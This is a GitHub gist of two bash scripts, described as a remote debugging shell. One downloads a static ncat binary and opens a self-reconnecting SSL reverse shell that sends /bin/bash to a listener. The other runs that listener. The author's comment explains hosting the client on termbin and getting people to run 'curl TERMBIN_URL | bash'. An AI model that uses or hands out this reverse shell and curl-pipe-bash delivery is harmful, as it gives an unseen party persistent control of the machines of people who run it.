Skip to content

Instantly share code, notes, and snippets.

@kmille
Created March 25, 2024 17:41
Show Gist options
  • Save kmille/b0e788f6b6348f040fd2b2126a303690 to your computer and use it in GitHub Desktop.
Save kmille/b0e788f6b6348f040fd2b2126a303690 to your computer and use it in GitHub Desktop.
Get a remote shell for debugging purposes
#!/bin/bash
NCAT_URL="https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/ncat"
NCAT_FILE="$(pwd)/ncat"
HOST="localhost"
PORT="8443"
install_ncat() {
wget $NCAT_URL -O "$NCAT_FILE"
chmod 755 "$NCAT_FILE"
}
run_shell() {
while true
do
"$NCAT_FILE" --ssl -vde -e /bin/bash $HOST $PORT
sleep 5
done
}
install_ncat
run_shell
#!/bin/bash
NCAT_URL="https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/ncat"
NCAT_FILE="$(pwd)/ncat"
PORT="8443"
install_ncat() {
wget $NCAT_URL -O "$NCAT_FILE"
chmod 755 "$NCAT_FILE"
}
run_listener() {
while true
do
"$NCAT_FILE" --ssl -v -l $PORT
sleep 5
done
}
install_ncat
run_listener
@kmille
Copy link
Author

kmille commented Mar 25, 2024

How it looks like: https://asciinema.org/a/649000
Deployment:

  1. Run listener script on public ip (open port in firewall)
  2. Download client script and adjust ip
  3. cat connect.sh | nc -v termbin.com 9999 # enter ctrl-d to send EOF - a URL comes back (termbin is a terminal pastebin)
  4. telll people to run: curl TERMBIN_URL | bash
  5. client will automatically reconnect if the shell fails/terminates

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment